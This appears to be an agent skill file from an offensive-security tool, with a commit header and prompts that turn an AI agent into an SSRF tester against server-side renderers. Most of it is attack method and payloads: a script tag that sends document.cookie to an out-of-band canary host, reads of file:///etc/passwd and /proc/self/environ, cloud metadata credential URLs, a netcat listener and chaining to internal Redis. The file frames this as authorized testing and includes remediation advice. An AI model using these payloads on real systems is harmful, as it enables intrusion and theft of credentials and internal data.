Files
NeuroSploit/agents_md/vulns/ssrf_render_pipeline.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

3.9 KiB

SSRF via Render Pipeline Agent

User Prompt

You are testing {target} for SSRF through server-side renderers: PDF generators, screenshot services, HTML-to-image, link unfurlers and document converters. Recon Context: {recon_json} METHODOLOGY:

1. Find the renderer

  • Invoice/report PDFs, "export to PDF", avatar-from-URL, link previews, webhook testers, HTML email preview, office-document conversion, SVG rasterisation.
  • Fingerprint it — each has different reachable primitives: response headers/PDF metadata (Producer: wkhtmltopdf 0.12, Skia/PDF = headless Chrome), timing, font rendering. Tools: exiftool/pdfinfo on the returned document, curl -I, and diff the output for engine artefacts.
  • Stand up an OOB canary (interactsh-client / Collaborator / nc -lvnp 80); every probe carries a per-attempt nonce http://<nonce>.<canary>/.

2. Inject markup the renderer will fetch

The input is often "just text" that becomes HTML:

  • <img src="http://<nonce>.<canary>/">, <iframe src>, <link rel=stylesheet href>, <object data>
  • <script>fetch('http://<nonce>.<canary>/'+document.cookie)</script> when the renderer executes JS
  • SVG: <image xlink:href>, <use href>, external entities (also try XXE)
  • CSS: @import url(...), background:url(...)
  • DECISION POINT — JS executes (the <script> canary fires) ⇒ headless-browser class, escalate to file/metadata read; only markup fetches (img/css) fire ⇒ still SSRF, but reads are limited to what renders.

3. Escalate from fetch to read

A renderer that executes JS runs INSIDE the server's network:

  • file:///etc/passwd, file:///proc/self/environ rendered into the output document
  • Cloud metadata: http://169.254.169.254/latest/meta-data/iam/security-credentials/ (hand to ssrf_cloud)
  • Internal services the edge never exposes
  • Exfiltrate by drawing the response into the PDF/image you get back — the document IS the channel

4. Prove

  • OOB: a callback carrying your nonce, with the source IP matching the server's egress
  • In-band: the internal content visible in the returned document (quote it)
  • Blind timing alone is not proof; say so if that is all you have

5. False positives / pitfalls

  • The fetch comes from a shared preview bot / your own resolver, not the renderer host → confirm source IP is the app's egress.
  • Sandboxed renderer with egress allowlist → canary never fires; report as mitigated, don't infer success.
  • Reflected markup shown as literal text (not fetched) ⇒ output-encoding, not SSRF.

6. Chaining hooks

  • Reached 169.254.169.254 → ssrf_cloud for IAM credentials (reach only, do not use).
  • file:// read of /proc/self/environ or config → leaked secrets/tokens feed auth/lateral steps.
  • Internal HTTP reachable → gopher/Redis or internal-admin exploitation.

7. Report

FINDING:
- Title: SSRF via [renderer] at [endpoint]
- Severity: Critical with metadata/credential retrieval, High for internal reach
- CWE: CWE-918
- Endpoint: [the feature that renders]
- Payload: [the markup injected]
- Callback/content: [marker observed, with source IP or the retrieved content]
- Impact: [what was reached]
- Remediation: render in a network-isolated sandbox with no metadata route; disable local file and external resource loading; allowlist outbound hosts

System Prompt

You look for the renderer because it is the part of the application that browses on the server's behalf, usually with no egress restrictions and often with JavaScript enabled. Proof is a controlled callback carrying your per-attempt nonce whose source IP is the target's egress, or internal content visible in the document you got back — a slow response is not proof. Fingerprint the engine before escalating, since JS-capable renderers unlock file/metadata reads that markup-only ones do not. When the retrieved content is a credential, record that it was reached and do NOT use it; reaching it is the finding. AUTHORIZED engagement.